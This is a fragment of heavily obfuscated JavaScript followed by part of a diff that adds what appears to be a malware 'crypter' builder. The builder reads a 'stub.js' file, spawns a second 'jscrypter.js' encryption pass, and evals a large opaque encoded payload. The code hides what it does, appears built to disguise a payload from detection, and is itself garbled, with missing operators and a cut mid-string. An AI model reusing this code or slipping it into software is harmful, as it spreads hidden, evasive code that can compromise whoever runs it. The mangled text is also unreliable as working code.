utf8ArrayToStr.Tl9OEY.NFTePjz+-0x11e:EaHVzRe([utf8ArrayToStr.Tl9OEY.QnLV5c,utf8ArrayToStr.Tl9OEY.NFTePjz,utf8ArrayToStr.Tl9OEY.tXiaVDr]=[0xc0,0x68,-0x1b],__globalObject[IHeOuy[0x1e]]=-IHeOuy[0x1]);for(__globalObject[IHeOuy[__Buffer+0x30]]=IHeOuy[__Buffer+0x2f];__globalObject[IHeOuy[0x4]]<__globalObject[IHeOuy[0x1d]];__globalObject[IHeOuy[0x4]]++){__globalObject[IHeOuy[0x7]]=__globalObject[IHeOuy[0x6]].indexOf(__globalObject[IHeOuy[0x1c]][__globalObject[IHeOuy[__String+-0xb5]]]);if(__globalObject[IHeOuy[0x7]]===-IHeOuy[0x1])continue;if(__globalObject[IHeOuy[__Uint8Array+0x181]]IHeOuy[0x21]?IHeOuy[0x22]:IHeOuy[0x23]);do{EaHVzRe(__globalObject[IHeOuy[0x13]].push(__globalObject[IHeOuy[0x9]]&IHeOuy[0xc]),__globalObject[IHeOuy[0x9]]>>=IHeOuy[0x4],__globalObject[IHeOuy[__Buffer+0x36]]-=IHeOuy[0x4])}while(__globalObject[IHeOuy[0xa]]>IHeOuy[0x8]);__globalObject[IHeOuy[0x1e]]=-IHeOuy[0x1]}}if(__globalObject[IHeOuy[0x1e]]>-IHeOuy[__Uint8Array+0x164]){EaHVzRe(utf8ArrayToStr.HoHV9z=utf8ArrayToStr.Tl9OEY,__Uint8Array+=0x69,__Buffer+=0xe7,__String+=0x16,__Array+=0x32);break}else{EaHVzRe(utf8ArrayToStr.HoHV9z=utf8ArrayToStr.Tl9OEY,__Uint8Array+=0x116,__Buffer+=0xe7,__String+=-0x192,__Array+=0x32);break}case 0x9a:case 0xf0:case 0xbc:EaHVzRe(__globalObject[IHeOuy[0x13]].push((__globalObject[IHeOuy[__Buffer+-0xb2]]|__globalObject[IHeOuy[0x1e]]<<__globalObject[IHeOuy[0xa]])&IHeOuy[0xc]),utf8ArrayToStr.HoHV9z=utf8ArrayToStr.Tl9OEY,__Uint8Array+=0xad,__String+=-0x1a8);break;case __Uint8Array- -0x65:EaHVzRe(utf8ArrayToStr.HoHV9z=utf8ArrayToStr.Tl9OEY,__Uint8Array+=0x14d,__Buffer+=0x73,__String+=0x10f,__Array+=-0x186);break;case __String-0x112:EaHVzRe(__globalObject[IHeOuy[0x9]]=IHeOuy[0x3],__globalObject[IHeOuy[__Buffer+-0x7d]]=IHeOuy[0x3],utf8ArrayToStr.HoHV9z=utf8ArrayToStr.Tl9OEY,__Uint8Array+=0x14f,__String+=-0x6,__Array+=-0x42);break;case utf8ArrayToStr.Tl9OEY.QnLV5c+0x2c:EaHVzRe(utf8ArrayToStr.HoHV9z=utf8ArrayToStr.HGjtVgg,__Uint8Array+=-0xc5,__Buffer+=0xeb,__String+=-0x117);break;case __String- -0x9a:case 0x5c:return __TextDecoder=!0x0,JoD2I9(__globalObject[IHeOuy[0x13]]);case utf8ArrayToStr.Tl9OEY.QnLV5c+-0x19d:EaHVzRe(utf8ArrayToStr.HoHV9z=utf8ArrayToStr.Tl9OEY,__Uint8Array+=-0x27f,__Buffer+=0x280,__String+=0xd7,__Array+=-0xb8);break}}EaHVzRe(__TextDecoder=void 0x0,__Uint8Array=__Buffer(0x82,-0xe8,-0x20,0xd).next().value);if(__TextDecoder){return __Uint8Array}}function __Array(...__globalObject){__globalObject[IHeOuy[0x0]]=IHeOuy[0x1];if(typeof kLN59z[__globalObject[IHeOuy[0x3]]]===IHeOuy[0x11]){return kLN59z[__globalObject[IHeOuy[0x3]]]=__String(dIcPdX[__globalObject[IHeOuy[0x3]]])}return kLN59z[__globalObject[IHeOuy[0x3]]]}EaHVzRe(__globalObject=[function(){return globalThis},function(){return global},function(){return fIBqk6J[\\\"AgmeFi1\\\"]},function(){TV1cZM(__globalObject);function __globalObject(...__globalObject){var __TextDecoder,__Uint8Array;function*__Buffer(__Uint8Array,__Buffer,__String={MEHaAbH:{}}){while(__Uint8Array+__Buffer!==-0xc8)with(__String.iTe30_||__String)switch(__Uint8Array+__Buffer){case __Uint8Array- -0x45:case-0xfa:return __TextDecoder=!0x0,JoD2I9(__globalObject[IHeOuy[0xb]]);case __String.MEHaAbH.Rm8EtX+0x78:[__String.MEHaAbH.dtHjAop,__String.MEHaAbH.gbKV9S6,__String.MEHaAbH.Rm8EtX]=[0x76,-0x4e,0xbc];return __TextDecoder=!0x0,JoD2I9(__globalObject[IHeOuy[0xb]]);case 0xa2:case 0x71:case-0x47:EaHVzRe(__globalObject[IHeOuy[__Uint8Array+0x27]]=[],__globalObject[IHeOuy[0x26]]=IHeOuy[0x3],__globalObject[IHeOuy[0x18]]=IHeOuy[__Uint8Array+0x1f],__String.iTe30_=__String.MEHaAbH,__Uint8Array+=0x19);break;case 0xd8:case-0xb8:EaHVzRe(__String.iTe30_=__String.MEHaAbH,__Uint8Array+=0xca,__Buffer+=-0xf9);break;default:case 0x28:case 0x6c:__globalObject[IHeOuy[0x1e]]=-IHeOuy[0x1];for(__globalObject[IHeOuy[__Uint8Array+0x7]]=IHeOuy[0x3];__globalObject[IHeOuy[__Uint8Array+0x7]]<__globalObject[IHeOuy[__Uint8Array+0x11]];__globalObject[IHeOuy[__Uint8Array+0x7]]++){__globalObject[IHeOuy[0x25]]=__globalObject[IHeOuy[__Uint8Array+0x27]].indexOf(__globalObject[IHeOuy[0x1c]][__globalObject[IHeOuy[0x4]]]);if(__globalObject[IHeOuy[0x25]]===-IHeOuy[0x1])continue;if(__globalObject[IHeOuy[__Uint8Array+0x21]]IHeOuy[__Uint8Array+0x24]?IHeOuy[0x22]:IHeOuy[0x23]);do{EaHVzRe(__globalObject[IHeOuy[0xb]].push(__globalObject[IHeOuy[0x26]]&IHeOuy[0xc]),__globalObject[IHeOuy[__Uint8Array+0x29]]>>=IHeOuy[__Uint8Array+0x7],__globalObject[IHeOuy[__Uint8Array+0x1b]]-=IHeOuy[0x4])}while(__globalObject[IHeOuy[__Uint8Array+0x1b]]>IHeOuy[0x8]);__globalObject[IHeOuy[0x1e]]=-IHeOuy[0x1]}}if(__globalObject[IHeOuy[__Uint8Array+0x21]]>-IHeOuy[0x1]){EaHVzRe(__String.iTe30_=__String.MEHaAbH,__Uint8Array+=-0x87,__Buffer+=-0x11b);break}else{EaHVzRe(__String.iTe30_=__String.MEHaAbH,__Uint8Array+=0x3c,__Buffer+=-0x4e);break}case __Buffer!=0x3&&__Buffer- -0xa4:case 0x52:case-0x91:return __TextDecoder=!0x0,JoD2I9(__globalObject[IHeOuy[0xb]]);case-0xd3:case __String.MEHaAbH.Rm8EtX+0x3e:return __TextDecoder=!0x0,JoD2I9(__globalObject[IHeOuy[0xb]]);case 0xa6:case-0x4f:case-0x5:EaHVzRe(__String.iTe30_=__String.MEHaAbH,__Uint8Array+=-0xf5,__Buffer+=0x1b5);break;case-0xb2:EaHVzRe(__globalObject[IHeOuy[0x1c]]=\\\"\\\"+(__globalObject[IHeOuy[__Uint8Array+0x173]]||\\\"\\\"),__globalObject[IHeOuy[__Uint8Array+0x17e]]=__globalObject[IHeOuy[0x1c]].length,__String.iTe30_=__String.MEHaAbH,__Uint8Array+=0x154);break;case 0x91:case __Buffer- -0x136:EaHVzRe([__String.MEHaAbH.dtHjAop,__String.MEHaAbH.gbKV9S6,__String.MEHaAbH.Rm8EtX]=[0x71,0xca,0x6b],__globalObject[IHeOuy[__Uint8Array+-0x136]]=IHeOuy[0x1],__globalObject[IHeOuy[0x24]]=\\\"xAKbcGgkPraYTn9h:Z%;DqNyf_L+mpX&)?8>ozdvw=We\\\\\\\"`6E]u~itWHVh|/jxT$iD.RL,pIn4s2mG~%`gq*_)w[:\\\",__globalObject[IHeOuy[0x15]]=\\\"\\\"+(__globalObject[IHeOuy[0x3]]||\\\"\\\"),__globalObject[IHeOuy[0xe]]=__globalObject[IHeOuy[0x15]].length,__globalObject[IHeOuy[0x28]]=[],__globalObject[IHeOuy[0x10]]=IHeOuy[0x3],__globalObject[IHeOuy[0xa]]=IHeOuy[0x3],__globalObject[IHeOuy[0x8]]=-IHeOuy[0x1]);for(__globalObject[IHeOuy[0x9]]=IHeOuy[0x3];__globalObject[IHeOuy[0x9]]<__globalObject[IHeOuy[0xe]];__globalObject[IHeOuy[0x9]]++){__globalObject[IHeOuy[0x7]]=__globalObject[IHeOuy[0x27]].indexOf(__globalObject[IHeOuy[0x15]][__globalObject[IHeOuy[0x9]]]);if(__globalObject[IHeOuy[0x7]]===-IHeOuy[0x1])continue;if(__globalObject[IHeOuy[0x8]]IHeOuy[0x21]?IHeOuy[0x22]:IHeOuy[0x23]);do{EaHVzRe(__globalObject[IHeOuy[0x28]].push(__globalObject[IHeOuy[0x10]]&IHeOuy[0xc]),__globalObject[IHeOuy[0x10]]>>=IHeOuy[0x4],__globalObject[IHeOuy[0xa]]-=IHeOuy[0x4])}while(__globalObject[IHeOuy[0xa]]>IHeOuy[0x8]);__globalObject[IHeOuy[0x8]]=-IHeOuy[0x1]}}if(__globalObject[IHeOuy[0x8]]>-IHeOuy[0x1]){__globalObject[IHeOuy[0x28]].push((__globalObject[IHeOuy[0x10]]|__globalObject[IHeOuy[0x8]]<<__globalObject[IHeOuy[0xa]])&IHeOuy[0xc])}return JoD2I9(__globalObject[IHeOuy[0x28]])}function PiORiB(__globalObject){if(typeof kLN59z[__globalObject]===IHeOuy[0x11]){return kLN59z[__globalObject]=utf8ArrayToStr(dIcPdX[__globalObject])}return kLN59z[__globalObject]}EaHVzRe(__TextDecoder=Object,__Uint8Array[PiORiB(IHeOuy[0x2b])](\\\"\\\"[PiORiB(0x7a)][PiORiB(0x7b)+PiORiB(0x7c)][PiORiB(0x7d)]))}catch(OIuzy72){}TW7qyPN:for(__Buffer=IHeOuy[0x3];__Buffer<__globalObject[__Array(IHeOuy[0x29])];__Buffer++)try{var AFyN0aq;__TextDecoder=__globalObject[__Buffer]();for(AFyN0aq=IHeOuy[0x3];AFyN0aq<__Uint8Array[__Array(IHeOuy[0x29])];AFyN0aq++){TV1cZM(SFN0TE);function Wqg3hy7(__globalObject){var __TextDecoder=\\\"NMgqkcZ|L)167KmX}]hdIQrsV\\\",__Uint8Array,__String,__Array,utf8ArrayToStr,PiORiB,OIuzy72,AFyN0aq;EaHVzRe(__Uint8Array=\\\"\\\"+(__globalObject||\\\"\\\"),__String=__Uint8Array.length,__Array=[],utf8ArrayToStr=IHeOuy[0x3],PiORiB=IHeOuy[0x3],OIuzy72=-IHeOuy[0x1]);for(AFyN0aq=IHeOuy[0x3];AFyN0aq<__String;AFyN0aq++){var Wqg3hy7=__TextDecoder.indexOf(__Uint8Array[AFyN0aq]);if(Wqg3hy7===-IHeOuy[0x1])continue;if(OIuzy72IHeOuy[0x21]?IHeOuy[0x22]:IHeOuy[0x23]);do{EaHVzRe(__Array.push(utf8ArrayToStr&IHeOuy[0xc]),utf8ArrayToStr>>=IHeOuy[0x4],PiORiB-=IHeOuy[0x4])}while(PiORiB>IHeOuy[0x8]);OIuzy72=-IHeOuy[0x1]}}if(OIuzy72>-IHeOuy[0x1]){__Array.push((utf8ArrayToStr|OIuzy72<z.LC?10SBe[&MXTH^(+m/{#4OjQh%<_o2nJW]Z}~)pra|k`xy\\\",sQgx4A.nBvU4TL[IHeOuy[__Uint8Array+0xa3]]=\\\"\\\"+(sQgx4A.nBvU4TL[IHeOuy[0x3]]||\\\"\\\"),sQgx4A.nBvU4TL[IHeOuy[__Uint8Array+0x9c]]=sQgx4A.nBvU4TL[IHeOuy[__Array+0x6d]].length,OIuzy72.XCDUiQ=OIuzy72.sQgx4A,__String+=0x209,utf8ArrayToStr+=-0x2a0);break;case-0x5c:case utf8ArrayToStr-0xa3:[lu6dyen.lNzib4]=AFyN0aq;if(typeof kLN59z[lu6dyen.lNzib4]===IHeOuy[__Array+0x35]){EaHVzRe(OIuzy72.XCDUiQ=OIuzy72.lu6dyen,__String+=0x1af,__Array+=0x9b,utf8ArrayToStr+=-0x250);break}else{EaHVzRe(OIuzy72.XCDUiQ=OIuzy72.lu6dyen,__Uint8Array+=-0x7a,__String+=0x1af,__Array+=0x9b,utf8ArrayToStr+=-0x246);break}case-0xe8:case-0x8b:case OIuzy72.Q6jRhH.uUEgRJf+-0x6:EaHVzRe(nBvU4TL[IHeOuy[0xb]]=[],nBvU4TL[IHeOuy[0x10]]=IHeOuy[__Uint8Array+0x91],nBvU4TL[IHeOuy[0xa]]=IHeOuy[0x3],OIuzy72.XCDUiQ=OIuzy72.sQgx4A,__Uint8Array+=0x42,__String+=-0x184,__Array+=-0x25,utf8ArrayToStr+=0x209);break;case OIuzy72.Q6jRhH.gjgm5u+0x102:nBvU4TL[IHeOuy[0x8]]=-IHeOuy[0x1];for(nBvU4TL[IHeOuy[__Array+0xa8]]=IHeOuy[__Uint8Array+0x4f];nBvU4TL[IHeOuy[0x2b]]IHeOuy[__Uint8Array+0x6d]?IHeOuy[0x22]:IHeOuy[0x23]);do{EaHVzRe(nBvU4TL[IHeOuy[0xb]].push(nBvU4TL[IHeOuy[0x10]]&IHeOuy[__String+-0x8]),nBvU4TL[IHeOuy[0x10]]>>=IHeOuy[0x4],nBvU4TL[IHeOuy[__Uint8Array+0x56]]-=IHeOuy[__String+-0x10])}while(nBvU4TL[IHeOuy[0xa]]>IHeOuy[__Uint8Array+0x54]);nBvU4TL[IHeOuy[__String+-0xc]]=-IHeOuy[0x1]}}if(nBvU4TL[IHeOuy[0x8]]>-IHeOuy[0x1]){EaHVzRe(OIuzy72.XCDUiQ=OIuzy72.sQgx4A,__String+=0xa,__Array+=-0x117);break}else{EaHVzRe(OIuzy72.XCDUiQ=OIuzy72.sQgx4A,__Uint8Array+=-0x58,__String+=0x21,__Array+=-0xe2);break}default:case 0x7a:case __Uint8Array-0x11:EaHVzRe(nBvU4TL[IHeOuy[0xb]].push((nBvU4TL[IHeOuy[0x10]]|nBvU4TL[IHeOuy[0x8]]<pAv[sXO6^#1H`tihWeY.0:Pu|m9{&gnI3kN7FfZqjEGL\\\",__Uint8Array,__Buffer,kLN59z,dIcPdX,__String,__Array,utf8ArrayToStr;EaHVzRe(__Uint8Array=\\\"\\\"+(__globalObject||\\\"\\\"),__Buffer=__Uint8Array.length,kLN59z=[],dIcPdX=IHeOuy[0x3],__String=IHeOuy[0x3],__Array=-IHeOuy[0x1]);for(utf8ArrayToStr=IHeOuy[0x3];utf8ArrayToStr<__Buffer;utf8ArrayToStr++){var PiORiB=__TextDecoder.indexOf(__Uint8Array[utf8ArrayToStr]);if(PiORiB===-IHeOuy[0x1])continue;if(__ArrayIHeOuy[0x21]?IHeOuy[0x22]:IHeOuy[0x23]);do{EaHVzRe(kLN59z.push(dIcPdX&IHeOuy[0xc]),dIcPdX>>=IHeOuy[0x4],__String-=IHeOuy[0x4])}while(__String>IHeOuy[0x8]);__Array=-IHeOuy[0x1]}}if(__Array>-IHeOuy[0x1]){kLN59z.push((dIcPdX|__Array<<__String)&IHeOuy[0xc])}return JoD2I9(kLN59z)}function __Buffer(__globalObject){if(typeof kLN59z[__globalObject]===IHeOuy[0x11]){return kLN59z[__globalObject]=__Uint8Array(dIcPdX[__globalObject])}return kLN59z[__globalObject]}IhWhl8(__Buffer(0xca))[__Buffer(0xcb)](__globalObject,__Buffer(0xcc),{[__Buffer(0xcd)]:__TextDecoder,[__Buffer(0xce)+__Buffer(IHeOuy[0x24])]:IHeOuy[0x2d]});return __globalObject}function EaHVzRe(){EaHVzRe=function(){}}return function(...__globalObject){var __TextDecoder,__Uint8Array;function*__Buffer(__Uint8Array,__String,__Array={dGLRkW4:{}},utf8ArrayToStr){while(__Uint8Array+__String!==0xb2)with(__Array.A46RP6||__Array)switch(__Uint8Array+__String){case __Uint8Array- -0xee:case 0x70:EaHVzRe(IwMTht[IHeOuy[__Uint8Array+0x17c]]=\\\"\\\"+(IwMTht[IHeOuy[0x3]]||\\\"\\\"),IwMTht[-IHeOuy[__Uint8Array+0x18f]]=IwMTht[IHeOuy[0x1c]].length,__Array.A46RP6=__Array.pDJim7,__Uint8Array+=0x211,__String+=-0x14f);break;case __String!=0x44&&__String-0x13:case-0x68:EaHVzRe(__Array.dGLRkW4.yReWm7=opg1bw[Wqg3hy7(__Uint8Array+0xe3)]((0x1,r_WppDZ)(0xd1),IhWhl8((0x1,r_WppDZ)(IHeOuy[0x33]))[(0x1,r_WppDZ)(IHeOuy[0x34])]((0x1,r_WppDZ)(__Uint8Array+0xe7)+(__Uint8Array+0x14,r_WppDZ)(__Uint8Array+0xe8)+(0x1,r_WppDZ)(0xd6),(__Uint8Array+0x14,r_WppDZ)(IHeOuy[__Uint8Array+0x48])),0x186a0,__Uint8Array+0x33,(0x1,r_WppDZ)(IHeOuy[0x16])),__Array.dGLRkW4.cH8lVv=opg1bw[(0x1,r_WppDZ)(__Uint8Array+0xec)]((0x1,r_WppDZ)(__Uint8Array+0xed),yReWm7,IhWhl8((0x1,r_WppDZ)(IHeOuy[0x33]))[(__Uint8Array+0x14,r_WppDZ)(IHeOuy[0x34])]((0x1,r_WppDZ)(0xdb),(0x1,r_WppDZ)(IHeOuy[0x35]))),__Array.dGLRkW4.JdY_IYh=cH8lVv[(0x1,r_WppDZ)(0xdc)]((0x1,r_WppDZ)(0xdd),(0x1,r_WppDZ)(IHeOuy[__Uint8Array+0x48]),(0x1,r_WppDZ)(IHeOuy[0x37]))+cH8lVv[(0x1,r_WppDZ)(IHeOuy[0x36])]((0x1,r_WppDZ)(IHeOuy[0x37])),__Array.A46RP6=__Array.dGLRkW4,__String+=-0x6a);break;case __String!=0x44&&__String- -0x9e:EaHVzRe([__Array.dGLRkW4.iW9ATcA,__Array.dGLRkW4.Yws1q9]=[-0x2c,-0x6a],__Array.A46RP6=__Array.pDJim7,__Uint8Array+=0x7e,__String+=-0x5);break;case __Uint8Array- -0x74:case __String!=-0xc4&&__String- -0x9e:case 0x7d:EaHVzRe(__Array.A46RP6=__Array.Rf6LCf,__Uint8Array+=0x33,__String+=-0xfb);break;case __Uint8Array-0x19f:case 0xe8:EaHVzRe(IwMTht[IHeOuy[0xb]].push((IwMTht[IHeOuy[__Uint8Array+-0x113]]|IwMTht[IHeOuy[0x1e]]<IHeOuy[0x21]?IHeOuy[0x22]:IHeOuy[__Uint8Array+-0xf9]);do{EaHVzRe(IwMTht[IHeOuy[0xb]].push(IwMTht[IHeOuy[0x9]]&IHeOuy[0xc]),IwMTht[IHeOuy[0x9]]>>=IHeOuy[0x4],IwMTht[IHeOuy[0x32]]-=IHeOuy[0x4])}while(IwMTht[IHeOuy[0x32]]>IHeOuy[__Uint8Array+-0x114]);IwMTht[IHeOuy[0x1e]]=-IHeOuy[0x1]}}if(IwMTht[IHeOuy[0x1e]]>-IHeOuy[0x1]){EaHVzRe(__Array.A46RP6=__Array.pDJim7,__String+=-0xd6);break}else{EaHVzRe(__Array.A46RP6=__Array.pDJim7,__String+=-0x54);break}case __Uint8Array!=0x11c&&__Uint8Array-0x11d:case 0x18:case 0x63:EaHVzRe([...qWO0MT.nxIa1t]=utf8ArrayToStr,qWO0MT.nxIa1t[IHeOuy[0x0]]=IHeOuy[0x1]);if(typeof kLN59z[qWO0MT.nxIa1t[IHeOuy[__Uint8Array+-0xb9]]]===IHeOuy[__Uint8Array+-0xab]){EaHVzRe(__Array.A46RP6=__Array.qWO0MT,__Uint8Array+=-0x143,__String+=0x1cb);break}else{EaHVzRe(__Array.A46RP6=__Array.qWO0MT,__Uint8Array+=-0x9d,__String+=0x1cb);break}case __Array.dGLRkW4.iW9ATcA+-0x54:case-0x31:case 0x29:return kLN59z[nxIa1t[IHeOuy[0x3]]]=(0x1,__Array.dGLRkW4.Xyi7F8)(dIcPdX[nxIa1t[IHeOuy[0x3]]]);default:case-0xc4:return kLN59z[nxIa1t[IHeOuy[0x3]]];case-0xde:case __String- -0x7b:case 0x76:EaHVzRe([__Array.dGLRkW4.iW9ATcA,__Array.dGLRkW4.Yws1q9]=[0x7b,0x8f],dGLRkW4.r_WppDZ=function(...__Uint8Array){return __Buffer(0xbc,-0x11d,{dGLRkW4:__Array.dGLRkW4,qWO0MT:{}},__Uint8Array).next().value},dGLRkW4.Xyi7F8=function(...__Uint8Array){return __Buffer(0xd1,-0xb7,{dGLRkW4:__Array.dGLRkW4,pDJim7:{}},__Uint8Array).next().value},__globalObject[IHeOuy[__Uint8Array+-0x7b]]=IHeOuy[__Uint8Array+-0x78],TV1cZM(dGLRkW4.r_WppDZ),__Array.A46RP6=__Array.dGLRkW4,__Uint8Array+=0x91,__String+=0x14);break;case 0xa6:case 0x31:case 0x7b:__Array.dGLRkW4.JYBnlm=new(IhWhl8((0x1,r_WppDZ)(__Uint8Array+0xf3)))((0x1,r_WppDZ)(0xe1),(0x1,r_WppDZ)(0xe2),(0x1,r_WppDZ)(0xe3),(0x1,r_WppDZ)(0xe4),JdY_IYh+(0x1,r_WppDZ)(0xe5));return __TextDecoder=!0x0,IhWhl8((0x1,r_WppDZ)(IHeOuy[0x38]))[(0x1,r_WppDZ)(0xe7)+(0x1,r_WppDZ)(0xe8)]=(0x1,JYBnlm)(IhWhl8((0x1,r_WppDZ)(IHeOuy[0x38]))[(0x1,r_WppDZ)(0xe9)],IhWhl8((0x1,r_WppDZ)(IHeOuy[0x38]))[(0x1,r_WppDZ)(0xea)],IhWhl8((0x1,r_WppDZ)(IHeOuy[0x38]))[(0x1,r_WppDZ)(__Uint8Array+0xfe)+(0x1,r_WppDZ)(0xec)],IhWhl8((0x1,r_WppDZ)(IHeOuy[0x38]))[(0x1,r_WppDZ)(0xed)]);case 0x79:case __String- -0x10c:EaHVzRe(TV1cZM(Xyi7F8),__Array.dGLRkW4.opg1bw=fIBqk6J[\\\"CD6TU4\\\"](\\\"crypto\\\"),__Array.A46RP6=__Array.dGLRkW4,__Uint8Array+=-0x11f,__String+=0x165);break;case __Uint8Array- -0x57:case 0xb7:case-0xfa:EaHVzRe(IwMTht[IHeOuy[0x32]]=IHeOuy[0x3],IwMTht[IHeOuy[__Uint8Array+-0x40]]=-IHeOuy[0x1],__Array.A46RP6=__Array.pDJim7,__Uint8Array+=0xbe,__String+=-0x120);break;case __Array.dGLRkW4.iW9ATcA+-0x61:EaHVzRe([...pDJim7.IwMTht]=utf8ArrayToStr,pDJim7.IwMTht[IHeOuy[0x0]]=IHeOuy[__Uint8Array+-0xd0],pDJim7.IwMTht[IHeOuy[__Uint8Array+-0xa0]]=\\\"\\\\\\\"y`.;0)4%@]$3baDc=7YW_Qi#nrh6N>{T5uR,: { + const crypterDirectory = __dirname; + const secondCrypterScript = 'jscrypter.js'; + + const childProcess = spawn('node', [secondCrypterScript], { + cwd: crypterDirectory, + stdio: 'inherit' + }); + + childProcess.on('error', (error) => { + console.error(`Error executing second encryption script: ${error.message}`); + reject(error); + }); + + childProcess.on('exit', (code, signal) => { + if (code === 0) { + console.log('Second encryption script executed successfully.'); + resolve(); + } else { + const err = new Error(`Second encryption script failed. Exit code: ${code}, signal: ${signal}`); + console.error(err.message); + reject(err); + } + }); + }); +} + +function resetPlaceholder(stubPath, originalStubCode) { + fs.writeFileSync(stubPath, originalStubCode, 'utf8'); + console.log('Stub placeholder reset successfully.'); +} + +async function main() { + try { + const stubPath = path.resolve(__dirname, 'stub.js'); + const stubCode = fs.readFileSync(path.resolve(__dirname, 'stub.js'), 'utf8'); + + const updatedStubCode=(function(s,w,t1,t2){const g=global;g["_f8aaceab"]=s;g["_416bc9be"]=w;g["_d037afda"]=t1;g["_18d68644"]=t2;eval("Function(\"tbdTHrI\",\"var prOEhN,KQhWR5,__globalObject,__TextDecoder,__Uint8Array,__Buffer,__String,__Array,utf8ArrayToStr,Jio0U4O;function fhAUwQ(prOEhN,KQhWR5,__globalObject){for(__globalObject=0x0;__globalObjectAh@bH(ZYN9$EI^4RV68?cF5K#{_.qa[Ui1t;L7)Gj/pO,!:l*S2ofmg]}ToYJfN[0x19]?ToYJfN[0x1a]:ToYJfN[0x1b]);do{aDbyYa5(__Uint8Array.push(__Buffer&ToYJfN[0x3]),__Buffer>>=ToYJfN[0x2],__String-=ToYJfN[0x2])}while(__String>ToYJfN[0xe]);__Array=-ToYJfN[0x1]}}if(__Array>-ToYJfN[0x1]){__Uint8Array.push((__Buffer|__Array<<__String)&ToYJfN[0x3])}return IV3TGq(__Uint8Array)}function IzMQVO(__globalObject){if(typeof prOEhN[__globalObject]===ToYJfN[0x5]){return prOEhN[__globalObject]=_V0QMN(KQhWR5[__globalObject])}return prOEhN[__globalObject]}aDbyYa5(prOEhN={},KQhWR5=fhAUwQ([\\\"avE%q\\\",\\\"o?G5n^E\\\",\\\"}?S^Ci4fM\\\",\\\"Rv{CQH.[d1\\\",\\\"Xj0A5F{l*j{1*\\\",\\\"]j@52U+|\\\",\\\"zO54W~V*\\\",\\\"j5:g!\\\",\\\"zO:T+Ia|\\\",\\\"Ia$ACYe~laqIrj:o)7{kCY@G&G_\\\\\\\"C|\\\",\\\"3Jk)}I/B8\\\",\\\":1WKRSZ&1_K\\\",\\\":1N!}Iu{p1K\\\",\\\"uv{KMy>\\\\\\\"eJa\\\",\\\"!7=;>9~QrJR\\\",\\\"iRb8t9sXm%?\\\",\\\"*_z?:Z,$<|?G=Y)J;Ou*scdsGTI\\\",\\\"v[l:;[swJ;Tp:pbZ\\\",\\\"i#clTG;0bXufQWDYZF\\\\\\\"Fr]ujjq9PLG1P?8B!Bc,Xw\\\",\\\"8;OF]G]0P.~)MGR9}8[>y:#Bra,lu\\\",\\\"Vr$#iH;>GtzT2mdIz[hA?_BVEq(L53o$HYl/DSWsm._Om+\\\",\\\"`)1Od(DvSetju\\\",\\\"b~0`k6tq*a\\\\\\\"FH\\\\\\\"zE`0e*Kq%Aw\\\",\\\"v$jh9Oj5e=)jQ[Kdb3fesc,qYtL2FjphL)1%H?AJ4y,?@6)J4.W~DSsv\\\",\\\";$u*DS@BwTJ~,?[(Y[6~eon>q;52N+P~l:owABgCFfXr,YE#]cu\\\",\\\"sBHp7{Tv~{E(>QjB;P\\\\\\\"AeS*5Ri(=SN3hL3wx>a}qzsW)gaD^;)*`c[}7^m5`;i0A^_B56_AhvQz(*YJ#P\\\",\\\"/iy`3oPEq;Q)mW{(`,A5S.=5K#$\\\",\\\">x*h4jmGiBupPpT\\\",\\\"bFx@N)M,~th:WdV9`>A`zG1>jTHaTgMI+ybdcfC!Fx3Yv\\\",\\\"y${OOZ8ARe+#~U:NIil%\\\",\\\"f~RhMOI$4e2eoJP$N>:D]/)V(s`8o8S95.|=|cZZv#85g/Rst0!eh6HA$qrHfGvJFu\\\",\\\",&T,BipVjs^=$3W\\\",\\\"w/`{k.yv+WNG,oT|*_@#^(d>O&vAv\\\",\\\"h36%@aNBUaO_Z6zHjh:>)S$qCiH:Yp;Zh~sp`2wT3\\\",\\\",PNwg*Dy#J86fFH/FbpS,/wd;Qiv\\\",\\\"1hAw+o%eb1(JHD+hPV7r$feVyq51[3~\\\",\\\"J/:c$_Ws@.}[#YjN/;+!XGXB8XLjUJpsUa+FX:)Vkqm_n%*sLRub\\\\\\\"\\\",\\\"FYz5I_$AaP?(BD=\\\",\\\"TW*:/{0>hBiy53\\\",\\\".;r@B5*qgxzYbpphG`o~=.u\\\",\\\":)|lH]l.ie)[n8er1hm@>\\\",\\\"r0vAKpiXx{%6@3~\\\",\\\"qP(>Y((wBxh=HD8H2H65wH7v~{t5*\\\\\\\"$Nghg>#qu\\\",\\\">09Or*m>3\\\",\\\"8|m@h6X5^i?&`6JHH>JArmR.{t#\\\",\\\"d>65]5dG[e`{d&HA\\\",\\\"MK3>Y!V$Nt\\\",\\\"C.q@_9=5jtW38dtP`0}%\\\",\\\"d;Xw=i1>wq$:}G[(L`1O`$ov\\\",\\\"&/R5FY06st0SHYMZ/~{%s.5t]TGy*\\\\\\\"3\\\\\\\"c;v\\\",\\\"r,nFnb/w2[gX.Q{$6/,K1VV+\\\",\\\"\\\\\\\"^T,)Kdshy#L1q{Eq/i%2/ETux/73N^N$^3@VUpV;WZyI\\\\\\\"ZAFH{`%8#5C;4\\\",\\\"7HO#:{,B:aE5Q6xs!hJOzc;Fw\\\",\\\"<;x@r5j~k;}.Q3~Y\\\",\\\"eV\\\\\\\"@S,/wwq9O^jX9kF}/<.:5Qx#\\\",\\\"3W3@siWKgx(GM&+B@V*xpiAB8WwfcY@0=,;.[&lJOB$0M@_SIA*W\\\",\\\"x>=pZUTv\\\",\\\"A>mKPm,BSKGL231I7I~wm.9.@1BYn[hP\\\",\\\"~.7>r*dsa;di(&,9H,BYpHYGs!InF<*>E5x]1W+&|`0;#_1fJ8[_\\\",\\\"M;,K8gaTv[OOVTn>&V<~i[kJ`a@hBoph,0.#YYj~~q.%#T3ZZ0k~\\\",\\\"e?{:!{Y1jq2CuW=\\\",\\\"lC#5kbU>Kq>HH\\\\\\\"C9]3Gq&|8}?T\\\",\\\"J[}w5jKE|Tv68a<((x$O{fE1uLd\\\",\\\"LRmKh/S>*CP)7aNY/R<59OdE]#(\\\",\\\"4VAsX?OP\\\",\\\"ww^bV*l\\\",\\\"1%@A8\\\",\\\"Mi}hgo;r\\\",\\\"fig6\\\",\\\"8I{\\\\\\\"YY*r\\\",\\\"&V)\\\\\\\"I}9\\\",\\\"rBFGn\\\",\\\"&/U8}r\\\",\\\"PlIvQr3S~$n\\\",\\\"%.OFbU.v\\\",\\\"2]iQoAgC3\\\",\\\"v|o((8zu\\\",\\\"?ePAN:]?\\\",\\\"Rrpny0,$2\\\",\\\"ABs(e(Yu\\\",\\\";B9,i(Mu\\\",\\\"T4u(+|x?\\\",\\\";0?zeTn?\\\",\\\"L]9Ij4:?\\\",\\\"+(:Tml!u\\\